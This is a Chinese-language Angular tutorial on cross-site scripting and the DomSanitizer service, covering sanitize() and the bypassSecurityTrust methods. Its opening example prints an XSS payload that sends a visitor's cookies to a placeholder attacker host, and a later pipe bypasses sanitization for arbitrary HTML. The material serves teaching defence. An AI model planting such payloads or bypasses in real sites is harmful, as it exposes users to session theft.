DomSanitizer 安全URL腳本訪問,Angular 和 TypeScript

Cross-site scripting (跨站腳本) 跨站腳本(Cross-site
scripting,通常簡稱爲XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
— 維基百科 Cross-site scripting 示例
互聯網上的幾乎每個博客都有一個評論的系統,允許用戶對文章發表評論。評論信息一般使用常用的 HTML 表單進行提交。具體示例如下:

<form>
  <textarea class="comment" cols="30" rows="10"></textarea>
  <button type="submit">Submit</button>
</form>

<h1>Comments</h1>
<ul></ul>

var $form = $('form');
var $comment = $('.comment');
var $ul = $('ul');

$form.on('submit', e => {
  e.preventDefault();
  var value = $($comment).val(); 
  if(value) {
    $($ul).append(`<li>${value}</li>`);
  }
});
現在假設攻擊者將以下代碼作爲評論信息發送到服務器:

<script>
   window.location=’http://attacker/?cookie='+document.cookie
</script>

如果網站沒有保護自己免受跨站腳本的攻擊,該內容將被保存到數據庫中,訪問該頁面的所有用戶將重定向到攻擊者的URL。然而現實中一個真正的攻擊者會創建一個更危險的腳本,例如,攻擊者可以記錄鍵盤事件並將這些信息發送到他自己擁有的服務器。

剛纔我們看到的,只是 XSS 攻擊的一個簡單示例,它還可以有許多形式,如URL查詢,href屬性,CSS等等…

如果你想了解更多關於XSS的信息,可以瀏覽這個網站 - excess-xss。

Angular 2 如何保護我們免受 XSS 攻擊
Angular 2 中默認將所有輸入值視爲不受信任。當我們通過 property,attribute,樣式,類綁定或插值等方式,將一個值從模板中插入到DOM中時,Angular 2 會自幫我們清除和轉義不受信任的值。我們來看一下具體示例:

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor() {
    this.html = "<h1>DomSanitizer</h1><script>attackerCode()</script>";    
  }
}

以上代碼運行後瀏覽器顯示的結果:

這裏寫圖片描述

從上圖可以看出,Angular 2 在編譯的時候,會自動清理 HTML 輸入並轉義不安全的代碼,因此在這種情況下,腳本不會運行,只能在屏幕上顯示爲文本。接下來我們繼續來看一個例子,如何綁定 iframe 的 src 屬性值:

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: string;
  constructor() {
    this.iframe = "https://segmentfault.com/";       
  }
}

以上代碼運行後,在瀏覽器中無法正常顯示內容,控制檯中輸出了以下異常信息:

EXCEPTION: Error in ./AppComponent class AppComponent - inline
template:1:12 caused by: unsafe value used in a resource URL context
(see http://g.co/ng/security#xss)

Angular 拋出此錯誤是因爲 iframe 的 src 屬性是資源 URL 安全上下文,因爲不可信源可以在用戶不知情的情況下執行某些不安全的操作。但如果我們確認資源的 URL 是安全的,要怎麼告知 Angular 該 URL 地址是安全的,給我們通行證呢 ?答案是,我們可以使用 Angular 2 中提供的 DomSanitizer 服務,具體示例如下:

import { Component } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: SafeResourceUrl;

  constructor(private sanitizer: DomSanitizer) {
    this.iframe = this.sanitizer.bypassSecurityTrustResourceUrl(
      "https://segmentfault.com/");       
  }
}

以上代碼運行後,在瀏覽器中我們就可以看到正常的內容。另外需要注意的是,如果不受信任的用戶數據調用這些方法,我們的應用程序將會存在 XSS 安全風險。

DomSanitizer - sanitize() 方法
有時後我們需要手動過濾輸入值,這時你可以使用 sanitize 方法,它的簽名如下:

abstract sanitize(context: SecurityContext, value: any): string;
該方法的第一個參數表示 SecurityContext (安全上下文),它的可選值如下:

None
HTML
STYLE
SCRIPT
URL
RESOURCE_URL
sanitize 方法的使用示例如下:

import { Component, SecurityContext } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor(private sanitizer: DomSanitizer) {
    this.html = this.sanitizer.sanitize(SecurityContext.HTML, 
                    "<h1>Sanitize</h1><script>attackerCode()</script>");   
    console.log(this.html); 
  }
}
以上代碼運行後,控制檯的輸出信息:

WARNING: sanitizing HTML stripped some content (see http://g.co/ng/security#xss).
app.component.ts:15 <h1>Sanitize</h1>attackerCode()
自定義 keepHtml 指令
keepHtml 指令定義

import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';

@Pipe({ name: 'keepHtml', pure: false })
export class EscapeHtmlPipe implements PipeTransform {
  constructor(private sanitizer: DomSanitizer) {
  }

  transform(content) {
    return this.sanitizer.bypassSecurityTrustHtml(content);
  }
}

keepHtml 指令使用

<div [innerHTML]="post.body | keepHtml"></div>

文章轉載出處:https://segmentfault.com/a/1190000008809095

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章